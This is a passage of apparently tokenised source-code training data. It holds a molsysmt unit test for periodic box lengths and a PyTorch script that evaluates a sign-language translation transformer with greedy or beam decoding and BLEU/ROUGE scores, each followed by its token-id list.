269,
2934,
29906,
29901,
450,
18838,
279,
8837,
4636,
975,
5039,
800,
29892,
758,
15807,
630,
373,
385,
13,
1669,
21097,
848,
731,
29889,
13,
1678,
16969,
29901,
13,
1678,
1192,
259,
584,
450,
3878,
305,
300,
6652,
749,
29889,
13,
1678,
9995,
13,
13,
1678,
3887,
29896,
353,
7442,
29889,
271,
280,
579,
29918,
29896,
29881,
29898,
2589,
29896,
29897,
13,
1678,
3887,
29906,
353,
7442,
29889,
271,
280,
579,
29918,
29896,
29881,
29898,
2589,
29906,
29897,
13,
13,
1678,
269,
2934,
29896,
353,
7442,
29889,
271,
280,
579,
29918,
29906,
29881,
29898,
3754,
29896,
29897,
13,
1678,
269,
2934,
29906,
353,
7442,
29889,
271,
280,
579,
29918,
29906,
29881,
29898,
3754,
29906,
29897,
13,
13,
1678,
4974,
3887,
29896,
29889,
12181,
1275,
3887,
29906,
29889,
12181,
29892,
525,
5323,
2827,
322,
1243,
2099,
12047,
505,
1422,
27497,
29915,
13,
1678,
4974,
269,
2934,
29896,
29889,
12181,
1275,
269,
2934,
29906,
29889,
12181,
29892,
525,
5323,
2827,
322,
1243,
18838,
13956,
778,
505,
1422,
13391,
29915,
13,
13,
1678,
2923,
353,
3887,
29896,
448,
3887,
29906,
13,
13,
1678,
396,
10969,
1795,
367,
4359,
13512,
13,
1678,
1369,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
1678,
18838,
12676,
29892,
903,
353,
301,
979,
29887,
29889,
3676,
29885,
29898,
3754,
29896,
29889,
6333,
29898,
3754,
29906,
511,
12272,
29922,
8824,
29897,
13,
1678,
1596,
703,
29943,
1367,
29901,
18074,
2273,
29885,
11474,
1273,
29879,
6923,
11474,
29908,
1273,
313,
2230,
29889,
2230,
580,
448,
1369,
29918,
2230,
876,
13,
1678,
565,
451,
7442,
29889,
4492,
262,
568,
29898,
24542,
12676,
467,
497,
7295,
13,
4706,
10191,
353,
6702,
29888,
333,
13944,
13880,
13512,
3234,
29936,
525,
13,
1669,
525,
4676,
1273,
29879,
304,
19640,
310,
18838,
21875,
1495,
1273,
321,
567,
13,
4706,
1596,
29898,
7645,
29897,
13,
4706,
9210,
353,
7442,
29889,
1032,
29872,
29898,
3754,
29896,
29889,
12181,
29961,
29900,
2314,
334,
321,
567,
13,
4706,
18838,
12676,
353,
301,
979,
29887,
29889,
3676,
29885,
3552,
3754,
29896,
718,
9210,
467,
6333,
29898,
3754,
29906,
718,
9210,
876,
13,
13,
1678,
396,
405,
4680,
936,
1059,
1795,
2367,
7248,
6382,
3821,
4163,
13,
1678,
565,
7442,
29889,
275,
19676,
5415,
29898,
24542,
12676,
1125,
13,
4706,
565,
451,
7442,
29889,
497,
5358,
29898,
9302,
29889,
6051,
351,
7177,
29898,
24542,
12676,
467,
326,
351,
29892,
29871,
29900,
29892,
472,
324,
29922,
29896,
29872,
29899,
29941,
1125,
13,
9651,
286,
353,
7442,
29889,
3317,
29898,
9302,
29889,
6897,
29898,
24542,
12676,
29889,
326,
351,
876,
13,
9651,
396,
12020,
7865,
2392,
877,
1888,
351,
3821,
4163,
6571,
4286,
4830,
29898,
29885,
876,
13,
9651,
1596,
877,
1888,
351,
3821,
4163,
6571,
4286,
4830,
29898,
29885,
876,
13,
4706,
18838,
12676,
353,
18838,
12676,
29889,
6370,
13,
13,
1678,
534,
29918,
24542,
12676,
353,
7442,
29889,
15003,
29898,
24542,
12676,
29897,
13,
1678,
736,
2923,
29889,
6333,
29898,
12765,
29897,
718,
7442,
29889,
15003,
29898,
3754,
29896,
29897,
718,
7442,
29889,
15003,
29898,
3754,
29906,
29897,
448,
29871,
29906,
334,
534,
29918,
24542,
12676,
13,
13,
13,
1753,
8147,
29918,
11236,
362,
29918,
6112,
6765,
29898,
24713,
29892,
1904,
29892,
2159,
29922,
29896,
29900,
29900,
29900,
29892,
9853,
29918,
2311,
29922,
29945,
29900,
29892,
3964,
29879,
29922,
29906,
29900,
29946,
29947,
1125,
13,
1678,
1044,
353,
679,
29918,
11236,
800,
29898,
24713,
29892,
1904,
29892,
2159,
29892,
9853,
29918,
2311,
29892,
3964,
29879,
29892,
8492,
29889,
10141,
29918,
978,
3101,
13,
1678,
3887,
353,
7442,
29889,
12676,
29898,
627,
29892,
9685,
29922,
29900,
29897,
13,
1678,
269,
2934,
353,
7442,
29889,
24542,
29898,
627,
29892,
1948,
1707,
29922,
8824,
29897,
13,
1678,
736,
3887,
29892,
269,
2934,
13,
2
] |
molsysmt/tests/pbc/box_lengths_from_box_vectors/test_box_lengths_from_box_vectors.py | dprada/molsysmt | 0 | 195239 | <filename>molsysmt/tests/pbc/box_lengths_from_box_vectors/test_box_lengths_from_box_vectors.py
"""
Unit and regression test for the box_lengths_from_box_vectors module of the molsysmt package.
"""
# Import package, test suite, and other packages as needed
import molsysmt as msm
import numpy as np
# Distance between atoms in space and time
def test_box_lengths_from_box_vectors_1():
molsys = msm.convert(msm.demo['Met-enkephalin']['vacuum.msmpk'], to_form='molsysmt.MolSys')
molsys = msm.build.solvate(molsys, box_geometry='cubic', clearance='14.0 angstroms', engine='PDBFixer')
box = msm.get(molsys, target='system', box=True)
lengths = msm.pbc.box_lengths_from_box_vectors(box)
check = np.allclose(msm.puw.get_value(lengths, to_unit='nm'), [[3.1236, 3.1236, 3.1236]])
assert check
def test_box_lengths_from_box_vectors_2():
molsys = msm.convert(msm.demo['Met-enkephalin']['vacuum.msmpk'], to_form='molsysmt.MolSys')
molsys = msm.build.solvate(molsys, box_geometry='truncated octahedral', clearance='14.0 angstroms', engine='PDBFixer')
box = msm.get(molsys, target='system', box=True)
lengths = msm.pbc.box_lengths_from_box_vectors(box)
check = np.allclose(msm.puw.get_value(lengths, to_unit='nm'), [[3.1236, 3.1236, 3.1236]])
assert check
def test_box_lengths_from_box_vectors_3():
molsys = msm.convert(msm.demo['Met-enkephalin']['vacuum.msmpk'], to_form='molsysmt.MolSys')
molsys = msm.build.solvate(molsys, box_geometry='rhombic dodecahedral', clearance='14.0 angstroms', engine='PDBFixer')
box = msm.get(molsys, target='system', box=True)
lengths = msm.pbc.box_lengths_from_box_vectors(box)
check = np.allclose(msm.puw.get_value(lengths, to_unit='nm'), [[3.1236, 3.1236, 3.1236]])
assert check
| [
1,
529,
9507,
29958,
29885,
3775,
952,
4378,
29914,
21150,
29914,
29886,
12328,
29914,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29914,
1688,
29918,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29889,
2272,
13,
15945,
29908,
13,
8325,
322,
17855,
1243,
363,
278,
3800,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
3883,
310,
278,
286,
3775,
952,
4378,
3577,
29889,
13,
15945,
29908,
13,
13,
29937,
16032,
3577,
29892,
1243,
9460,
29892,
322,
916,
9741,
408,
4312,
13,
5215,
286,
3775,
952,
4378,
408,
286,
3844,
13,
5215,
12655,
408,
7442,
13,
13,
29937,
6652,
749,
1546,
28422,
297,
2913,
322,
931,
13,
13,
1753,
1243,
29918,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29918,
29896,
7295,
13,
1678,
286,
3775,
952,
353,
286,
3844,
29889,
13441,
29898,
1516,
29885,
29889,
17482,
1839,
10095,
29899,
264,
446,
17206,
262,
16215,
29894,
22061,
398,
29889,
1516,
1526,
29895,
7464,
304,
29918,
689,
2433,
29885,
3775,
952,
4378,
29889,
29924,
324,
29903,
952,
1495,
13,
1678,
286,
3775,
952,
353,
286,
3844,
29889,
4282,
29889,
2929,
29894,
403,
29898,
29885,
3775,
952,
29892,
3800,
29918,
19156,
2433,
29883,
431,
293,
742,
2821,
749,
2433,
29896,
29946,
29889,
29900,
2614,
303,
456,
29879,
742,
6012,
2433,
29925,
4051,
29943,
861,
261,
1495,
13,
1678,
3800,
353,
286,
3844,
29889,
657,
29898,
29885,
3775,
952,
29892,
3646,
2433,
5205,
742,
3800,
29922,
5574,
29897,
13,
1678,
27497,
353,
286,
3844,
29889,
29886,
12328,
29889,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29898,
1884,
29897,
13,
1678,
1423,
353,
7442,
29889,
497,
5358,
29898,
1516,
29885,
29889,
3746,
29893,
29889,
657,
29918,
1767,
29898,
2848,
29879,
29892,
304,
29918,
5441,
2433,
22882,
5477,
5519,
29941,
29889,
29896,
29906,
29941,
29953,
29892,
29871,
29941,
29889,
29896,
29906,
29941,
29953,
29892,
29871,
29941,
29889,
29896,
29906,
29941,
29953,
24960,
13,
1678,
4974,
1423,
13,
13,
1753,
1243,
29918,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29918,
29906,
7295,
13,
1678,
286,
3775,
952,
353,
286,
3844,
29889,
13441,
29898,
1516,
29885,
29889,
17482,
1839,
10095,
29899,
264,
446,
17206,
262,
16215,
29894,
22061,
398,
29889,
1516,
1526,
29895,
7464,
304,
29918,
689,
2433,
29885,
3775,
952,
4378,
29889,
29924,
324,
29903,
952,
1495,
13,
1678,
286,
3775,
952,
353,
286,
3844,
29889,
4282,
29889,
2929,
29894,
403,
29898,
29885,
3775,
952,
29892,
3800,
29918,
19156,
2433,
509,
4661,
630,
4725,
801,
287,
1705,
742,
2821,
749,
2433,
29896,
29946,
29889,
29900,
2614,
303,
456,
29879,
742,
6012,
2433,
29925,
4051,
29943,
861,
261,
1495,
13,
1678,
3800,
353,
286,
3844,
29889,
657,
29898,
29885,
3775,
952,
29892,
3646,
2433,
5205,
742,
3800,
29922,
5574,
29897,
13,
1678,
27497,
353,
286,
3844,
29889,
29886,
12328,
29889,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29898,
1884,
29897,
13,
1678,
1423,
353,
7442,
29889,
497,
5358,
29898,
1516,
29885,
29889,
3746,
29893,
29889,
657,
29918,
1767,
29898,
2848,
29879,
29892,
304,
29918,
5441,
2433,
22882,
5477,
5519,
29941,
29889,
29896,
29906,
29941,
29953,
29892,
29871,
29941,
29889,
29896,
29906,
29941,
29953,
29892,
29871,
29941,
29889,
29896,
29906,
29941,
29953,
24960,
13,
1678,
4974,
1423,
13,
13,
1753,
1243,
29918,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29918,
29941,
7295,
13,
1678,
286,
3775,
952,
353,
286,
3844,
29889,
13441,
29898,
1516,
29885,
29889,
17482,
1839,
10095,
29899,
264,
446,
17206,
262,
16215,
29894,
22061,
398,
29889,
1516,
1526,
29895,
7464,
304,
29918,
689,
2433,
29885,
3775,
952,
4378,
29889,
29924,
324,
29903,
952,
1495,
13,
1678,
286,
3775,
952,
353,
286,
3844,
29889,
4282,
29889,
2929,
29894,
403,
29898,
29885,
3775,
952,
29892,
3800,
29918,
19156,
2433,
19046,
3424,
293,
270,
356,
29883,
801,
287,
1705,
742,
2821,
749,
2433,
29896,
29946,
29889,
29900,
2614,
303,
456,
29879,
742,
6012,
2433,
29925,
4051,
29943,
861,
261,
1495,
13,
1678,
3800,
353,
286,
3844,
29889,
657,
29898,
29885,
3775,
952,
29892,
3646,
2433,
5205,
742,
3800,
29922,
5574,
29897,
13,
1678,
27497,
353,
286,
3844,
29889,
29886,
12328,
29889,
1884,
29918,
2848,
29879,
29918,
3166,
29918,
1884,
29918,
345,
14359,
29898,
1884,
29897,
13,
1678,
1423,
353,
7442,
29889,
497,
5358,
29898,
1516,
29885,
29889,
3746,
29893,
29889,
657,
29918,
1767,
29898,
2848,
29879,
29892,
304,
29918,
5441,
2433,
22882,
5477,
5519,
29941,
29889,
29896,
29906,
29941,
29953,
29892,
29871,
29941,
29889,
29896,
29906,
29941,
29953,
29892,
29871,
29941,
29889,
29896,
29906,
29941,
29953,
24960,
13,
1678,
4974,
1423,
13,
13,
2
] |
source/evaluate_slt.py | faresbs/slrt | 2 | 71480 | #######################################################
#This script is for evaluating for the task of SLR #
#######################################################
import argparse
import time
import collections
import os
import sys
import torch
import torch.nn
from torch.autograd import Variable
import torch.nn as nn
import numpy as np
import datetime as dt
import _pickle as pickle
from collections import OrderedDict
from transformer_slt import make_model as TRANSFORMER
from dataloader_slt import loader
from utils import path_data, Batch, greedy_decode
#Progress bar to visualize training progress
import progressbar
import matplotlib.pyplot as plt
#Evaluation metrics
from bleu import compute_bleu
from rouge import rouge
from beam_search import beam_decode
#from nltk.translate.bleu_score import sentence_bleu, corpus_bleu
#https://pypi.org/project/py-rouge/
#import rouge
#Produce the translation using greedy decoding or beam search
def decoding(model, src, batch, hand_regions=None, start_symbol=1, max_len=20, device='cuda', method='greedy', n_beam=8):
src = Variable(src)
if(method=='greedy'):
translations = greedy_decode(model, src, hand_regions, batch.rel_mask, batch.src_mask, max_len=max_len, start_symbol=start_symbol, n_devices=1)
elif(method=='beam'):
translations = beam_decode(model, src, hand_regions, batch.rel_mask, batch.src_mask, max_len=max_len, start_symbol=start_symbol, n_beam=n_beam)
else:
print("Decoding method is not supported !")
quit(0)
return translations
###
# Arg parsing
##############
parser = argparse.ArgumentParser(description='Evaluation')
parser.add_argument('--data', type=str, default=os.path.join('data','PHOENIX-2014-T'),
help='location of the test data corpus')
parser.add_argument('--model_path', type=str, default=os.path.join("EXPERIMENTATIONS"),
help='location of the test data corpus')
parser.add_argument('--lookup_table', type=str, default=os.path.join('data','slt_lookup.txt'),
help='location of the words lookup table')
parser.add_argument('--lookup_table_gloss', type=str, default=os.path.join('data','slt_lookup_gloss.txt'),
help='location of the words gloss lookup table')
parser.add_argument('--rescale', type=int, default=224,
help='rescale data images. NOTE: use same image size as the training or else you get worse results.')
#Put to 0 to avoid memory segementation fault
parser.add_argument('--num_workers', type=int, default=4,
help='NOTE: put num of workers to 0 to avoid memory saturation.')
parser.add_argument('--show_sample', action='store_true',
help='Show a sample a preprocessed data.')
parser.add_argument('--batch_size', type=int, default=1,
help='size of one minibatch')
parser.add_argument('--save', action='store_true',
help='save the results of the evaluation')
parser.add_argument('--hand_query', type=bool, default=False,
help='Set hand cropped image as a query for transformer network.')
parser.add_argument('--emb_type', type=str, default='2d',
help='Type of image embeddings 2d or 3d.')
parser.add_argument('--emb_network', type=str, default='mb2',
help='Image embeddings network: mb2/resnet')
parser.add_argument('--decoding', type=str, default='greedy',
help='Decoding method (greedy/beam).')
parser.add_argument('--n_beam', type=int, default=4,
help='Beam width when using bean search for decoding.')
parser.add_argument('--decoding_length', type=int, default=20,
help='Set the maximum decoding length. NOTE: to get the same results as when training you need to use the same max_len')
parser.add_argument('--rel_window', type=int, default=None)
parser.add_argument('--bleu', action='store_true',
help='Use bleu for evaluation.')
parser.add_argument('--rouge', action='store_true',
help='Use rouge for evaluation.')
#----------------------------------------------------------------------------------------
#Same seed for reproducibility)
parser.add_argument('--seed', type=int, default=1111, help='random seed')
#Save folder with the date
start_date = dt.datetime.now().strftime("%Y-%m-%d-%H.%M")
print ("Start Time: "+start_date)
args = parser.parse_args()
#Set the random seed manually for reproducibility.
torch.manual_seed(args.seed)
#experiment_path = PureWindowsPath('EXPERIMENTATIONS\\' + start_date)
save_path = os.path.join('EVALUATION', start_date)
# Creates an experimental directory and dumps all the args to a text file
if(args.save):
if(os.path.exists(save_path)):
print('Evaluation already exists..')
else:
os.makedirs(save_path)
print ("\nPutting log in EVALUATION/%s"%start_date)
#Dump all configurations/hyperparameters in txt
with open (os.path.join(save_path,'eval_config.txt'), 'w') as f:
f.write('Experimentation done at: '+ str(start_date)+' with current configurations:\n')
for arg in vars(args):
f.write(arg+' : '+str(getattr(args, arg))+'\n')
#-------------------------------------------------------------------------------
#Run on GPU
if torch.cuda.is_available():
print("Using GPU")
device = torch.device("cuda:0")
else:
#Run on CPU
print("WARNING: You are about to run on cpu, and this will likely run out \
of memory. \n You can try setting batch_size=1 to reduce memory usage")
device = torch.device("cpu")
train_path, valid_path, test_path = path_data(data_path=args.data, task='SLT', hand_query=args.hand_query)
#No data augmentation for test data
test_dataloader, test_size = loader(csv_file=test_path[1],
root_dir=test_path[0],
lookup_gloss=args.lookup_table_gloss,
lookup=args.lookup_table,
rescale = args.rescale,
augmentation = False,
batch_size = args.batch_size,
num_workers = args.num_workers,
show_sample = args.show_sample,
istrain=False,
hand_dir=test_path[2]
)
#No data augmentation for test data
valid_dataloader, valid_size = loader(csv_file=valid_path[1],
root_dir=valid_path[0],
lookup=args.lookup_table,
lookup_gloss=args.lookup_table_gloss,
rescale = args.rescale,
augmentation = False,
batch_size = args.batch_size,
num_workers = args.num_workers,
show_sample = args.show_sample,
istrain=False,
hand_dir=valid_path[2]
)
print('Test dataset size: '+str(test_size))
print('Valid dataset size: '+str(valid_size))
#Retrieve size of target vocab
with open(args.lookup_table, 'rb') as pickle_file:
vocab = pickle.load(pickle_file)
vocab_size = len(vocab)
#Switch keys and values of vocab to easily look for words
vocab = {y:x for x,y in vocab.items()}
print('vocabulary size:' + str(vocab_size))
#Load entire model w/ weights
#NOTE: evaluate on single device
model = torch.load(args.model_path, map_location=device)
#Load params
#model.load_state_dict(n)
model = model.to(device)
print("Model successfully loaded")
model.eval() # Set model to evaluate mode
print ("Evaluating..")
start_time = time.time()
#Loop through test and val sets
dataloaders = [valid_dataloader, test_dataloader]
sizes = [valid_size, test_size]
dataset = ['Validation Set', 'Test Set']
for d in range(len(sizes)):
dataloader = dataloaders[d]
size = sizes[d]
print(dataset[d])
#For progress bar
bar = progressbar.ProgressBar(maxval=size, widgets=[progressbar.Bar('=', '[', ']'), ' ', progressbar.Percentage()])
bar.start()
i = 0
count = 0
#Save translation and reference sentences
translation_corpus = []
reference_corpus = []
references_corpus = []
#Loop over minibatches
for step, (x, x_lengths, y, y_lengths, gloss, gloss_lengths) in enumerate(dataloader):
#Update progress bar with every iter
i += len(x)
bar.update(i)
y = torch.from_numpy(y).to(device)
x = x.to(device)
batch = Batch(x_lengths, y_lengths, y, DEVICE=device, emb_type='2d', fixed_padding=None, rel_window=args.rel_window)
with torch.no_grad():
#Return translation using our trained model
translations = decoding(model, x, batch, None, start_symbol=1, max_len=args.decoding_length, method=args.decoding, n_beam=args.n_beam, device=device)
#Loop over translations and references
#NOTE: discard special tokens
for j in range(y.shape[0]):
ys = y[j, :]
ys = ys[ys != 0]
#Keep <eos> token
ys = ys[1:]
translation = translations[j]
#Convert index tokens to words
translation_corpus.append([vocab[x.item()] for x in translation])
references_corpus.append([[vocab[x.item()] for x in ys]])
reference_corpus.append([vocab[x.item()] for x in ys])
#Free some memory
#NOTE: this helps alot in avoiding cuda out of memory
del x, y, batch
assert len(translation_corpus) == len(references_corpus)
if(args.save):
#Save results in txt files
str1=" "
with open(os.path.join(save_path, 'translations.txt') ,'a') as trans_file:
trans_file.write(str1.join(translation_corpus)+'\n')
str1=" "
with open(os.path.join(save_path, 'references.txt'), 'a') as ref_file:
ref_file.write(str1.join(reference_corpus)+'\n')
if(args.bleu):
#Default return
#NOTE: you can use the ntlk library to measure the bleu score
#bleu_4 = corpus_bleu(reference_corpus, translation_corpus)
bleu_4, _, _, _, _, _ = compute_bleu(references_corpus, translation_corpus, max_order=4)
#weights = (1.0/1.0, )
bleu_1, _, _, _, _, _ = compute_bleu(references_corpus, translation_corpus, max_order=1)
#weights = (1.0/2.0, 1.0/2.0, )
#bleu_2 = corpus_bleu(reference_corpus, translation_corpus, weights)
bleu_2, _, _, _, _, _ = compute_bleu(references_corpus, translation_corpus, max_order=2)
#weights = (1.0/3.0, 1.0/3.0, 1.0/3.0,)
#bleu_3 = corpus_bleu(reference_corpus, translation_corpus, weights)
bleu_3, _, _, _, _, _ = compute_bleu(references_corpus, translation_corpus, max_order=3)
log_str = 'Bleu Evaluation: ' + '\t' \
+ 'Bleu_1: ' + str(bleu_1) + '\t' \
+ 'Bleu_2: ' + str(bleu_2) + '\t' \
+ 'Bleu_3: ' + str(bleu_3) + '\t' \
+ 'Bleu_4: ' + str(bleu_4)
print(log_str)
if(args.save):
#Save evaluation results in a log file
with open(os.path.join(args.save_path, 'log.txt'), 'a') as f:
f.write(log_str+'\n')
if(args.rouge):
reference_corpus = [" ".join(reference) for reference in reference_corpus]
translation_corpus = [" ".join(hypothesis) for hypothesis in translation_corpus]
score = rouge(translation_corpus, reference_corpus)
print(score["rouge_l/f_score"])
log_str = 'Rouge Evaluation: ' + '\t'
print(log_str)
if(args.save):
#Save evaluation results in a log file
with open(os.path.join(args.save_path, 'log.txt'), 'a') as f:
f.write(log_str+'\n')
| [
1,
835,
13383,
13383,
13383,
4136,
13,
29937,
4013,
2471,
338,
363,
6161,
1218,
363,
278,
3414,
310,
27146,
29934,
1678,
396,
13,
13383,
13383,
13383,
4136,
2277,
29937,
13,
13,
5215,
1852,
5510,
13,
5215,
931,
13,
5215,
16250,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
13,
3166,
4842,
305,
29889,
1300,
468,
3665,
1053,
28736,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
5215,
12655,
408,
7442,
13,
5215,
12865,
408,
11636,
13,
5215,
903,
23945,
280,
408,
5839,
280,
13,
3166,
16250,
1053,
8170,
287,
21533,
13,
13,
3166,
4327,
261,
29918,
29879,
1896,
1053,
1207,
29918,
4299,
408,
10014,
2190,
29903,
19094,
1001,
13,
3166,
1418,
7003,
1664,
29918,
29879,
1896,
1053,
23466,
13,
3166,
3667,
29879,
1053,
2224,
29918,
1272,
29892,
350,
905,
29892,
1395,
7584,
29918,
13808,
13,
13,
29937,
14470,
2594,
304,
7604,
675,
6694,
6728,
13,
5215,
6728,
1646,
13,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
29937,
29923,
4387,
362,
21556,
13,
3166,
10767,
29884,
1053,
10272,
29918,
569,
29884,
13,
3166,
16053,
479,
1053,
16053,
479,
13,
3166,
22913,
29918,
4478,
1053,
22913,
29918,
13808,
13,
29937,
3166,
302,
1896,
29895,
29889,
21652,
29889,
569,
29884,
29918,
13628,
1053,
10541,
29918,
569,
29884,
29892,
1034,
13364,
29918,
569,
29884,
13,
29937,
991,
597,
29886,
1478,
29875,
29889,
990,
29914,
4836,
29914,
2272,
29899,
27537,
479,
29914,
13,
29937,
5215,
16053,
479,
13,
13,
29937,
23665,
346,
278,
13962,
773,
1395,
7584,
1602,
3689,
470,
22913,
2740,
13,
1753,
1602,
3689,
29898,
4299,
29892,
4765,
29892,
9853,
29892,
1361,
29918,
1727,
1080,
29922,
8516,
29892,
1369,
29918,
18098,
29922,
29896,
29892,
4236,
29918,
2435,
29922,
29906,
29900,
29892,
4742,
2433,
29883,
6191,
742,
1158,
2433,
7979,
7584,
742,
302,
29918,
915,
314,
29922,
29947,
1125,
13,
13,
1678,
4765,
353,
28736,
29898,
4351,
29897,
13,
13,
1678,
565,
29898,
5696,
1360,
29915,
7979,
7584,
29374,
13,
4706,
5578,
800,
353,
1395,
7584,
29918,
13808,
29898,
4299,
29892,
4765,
29892,
1361,
29918,
1727,
1080,
29892,
9853,
29889,
2674,
29918,
13168,
29892,
9853,
29889,
4351,
29918,
13168,
29892,
4236,
29918,
2435,
29922,
3317,
29918,
2435,
29892,
1369,
29918,
18098,
29922,
2962,
29918,
18098,
29892,
302,
29918,
3359,
1575,
29922,
29896,
29897,
13,
13,
1678,
25342,
29898,
5696,
1360,
29915,
915,
314,
29374,
13,
4706,
5578,
800,
353,
22913,
29918,
13808,
29898,
4299,
29892,
4765,
29892,
1361,
29918,
1727,
1080,
29892,
9853,
29889,
2674,
29918,
13168,
29892,
9853,
29889,
4351,
29918,
13168,
29892,
4236,
29918,
2435,
29922,
3317,
29918,
2435,
29892,
1369,
29918,
18098,
29922,
2962,
29918,
18098,
29892,
302,
29918,
915,
314,
29922,
29876,
29918,
915,
314,
29897,
13,
13,
1678,
1683,
29901,
13,
4706,
1596,
703,
6185,
3689,
1158,
338,
451,
6969,
1738,
1159,
13,
4706,
23283,
29898,
29900,
29897,
13,
13,
1678,
736,
5578,
800,
13,
13,
2277,
29937,
13,
29937,
11842,
13755,
13,
7346,
4136,
2277,
13,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
29923,
4387,
362,
1495,
13,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1272,
742,
1134,
29922,
710,
29892,
2322,
29922,
359,
29889,
2084,
29889,
7122,
877,
1272,
3788,
29925,
8187,
1430,
6415,
29899,
29906,
29900,
29896,
29946,
29899,
29911,
5477,
13,
462,
1678,
1371,
2433,
5479,
310,
278,
1243,
848,
1034,
13364,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4299,
29918,
2084,
742,
1134,
29922,
710,
29892,
2322,
29922,
359,
29889,
2084,
29889,
7122,
703,
5746,
13171,
7833,
3919,
8098,
29903,
4968,
13,
462,
1678,
1371,
2433,
5479,
310,
278,
1243,
848,
1034,
13364,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
20401,
29918,
2371,
742,
1134,
29922,
710,
29892,
2322,
29922,
359,
29889,
2084,
29889,
7122,
877,
1272,
3788,
29879,
1896,
29918,
20401,
29889,
3945,
5477,
13,
462,
1678,
1371,
2433,
5479,
310,
278,
3838,
16280,
1591,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
20401,
29918,
2371,
29918,
3820,
2209,
742,
1134,
29922,
710,
29892,
2322,
29922,
359,
29889,
2084,
29889,
7122,
877,
1272,
3788,
29879,
1896,
29918,
20401,
29918,
3820,
2209,
29889,
3945,
5477,
13,
462,
1678,
1371,
2433,
5479,
310,
278,
3838,
3144,
2209,
16280,
1591,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
690,
29883,
744,
742,
1134,
29922,
524,
29892,
2322,
29922,
29906,
29906,
29946,
29892,
13,
462,
1678,
1371,
2433,
690,
29883,
744,
848,
4558,
29889,
6058,
29923,
29901,
671,
1021,
1967,
2159,
408,
278,
6694,
470,
1683,
366,
679,
15029,
2582,
29889,
1495,
13,
13,
29937,
22908,
304,
29871,
29900,
304,
4772,
3370,
2377,
882,
362,
12570,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1949,
29918,
1287,
414,
742,
1134,
29922,
524,
29892,
2322,
29922,
29946,
29892,
13,
462,
1678,
1371,
2433,
12256,
29923,
29901,
1925,
954,
310,
17162,
304,
29871,
29900,
304,
4772,
3370,
269,
1337,
362,
29889,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4294,
29918,
11249,
742,
3158,
2433,
8899,
29918,
3009,
742,
13,
462,
1678,
1371,
2433,
8964,
263,
4559,
263,
758,
5014,
287,
848,
29889,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
16175,
29918,
2311,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
13,
462,
1678,
1371,
2433,
2311,
310,
697,
1375,
747,
905,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
7620,
742,
3158,
2433,
8899,
29918,
3009,
742,
13,
462,
1678,
1371,
2433,
7620,
278,
2582,
310,
278,
17983,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
3179,
29918,
1972,
742,
1134,
29922,
11227,
29892,
2322,
29922,
8824,
29892,
13,
462,
1678,
1371,
2433,
2697,
1361,
8182,
2986,
1967,
408,
263,
2346,
363,
4327,
261,
3564,
29889,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1590,
29918,
1853,
742,
1134,
29922,
710,
29892,
2322,
2433,
29906,
29881,
742,
13,
462,
1678,
1371,
2433,
1542,
310,
1967,
8297,
29881,
886,
29871,
29906,
29881,
470,
29871,
29941,
29881,
29889,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1590,
29918,
11618,
742,
1134,
29922,
710,
29892,
2322,
2433,
8337,
29906,
742,
13,
462,
1678,
1371,
2433,
2940,
8297,
29881,
886,
3564,
29901,
286,
29890,
29906,
29914,
690,
1212,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
7099,
3689,
742,
1134,
29922,
710,
29892,
2322,
2433,
7979,
7584,
742,
13,
462,
1678,
1371,
2433,
6185,
3689,
1158,
313,
7979,
7584,
29914,
915,
314,
467,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29876,
29918,
915,
314,
742,
1134,
29922,
524,
29892,
2322,
29922,
29946,
29892,
13,
462,
1678,
1371,
2433,
3629,
314,
2920,
746,
773,
17796,
2740,
363,
1602,
3689,
29889,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
7099,
3689,
29918,
2848,
742,
1134,
29922,
524,
29892,
2322,
29922,
29906,
29900,
29892,
13,
462,
1678,
1371,
2433,
2697,
278,
7472,
1602,
3689,
3309,
29889,
6058,
29923,
29901,
304,
679,
278,
1021,
2582,
408,
746,
6694,
366,
817,
304,
671,
278,
1021,
4236,
29918,
2435,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
2674,
29918,
7165,
742,
1134,
29922,
524,
29892,
2322,
29922,
8516,
29897,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
569,
29884,
742,
3158,
2433,
8899,
29918,
3009,
742,
13,
462,
1678,
1371,
2433,
11403,
10767,
29884,
363,
17983,
29889,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
27537,
479,
742,
3158,
2433,
8899,
29918,
3009,
742,
13,
462,
1678,
1371,
2433,
11403,
16053,
479,
363,
17983,
29889,
1495,
13,
13,
29937,
2683,
2683,
2683,
2683,
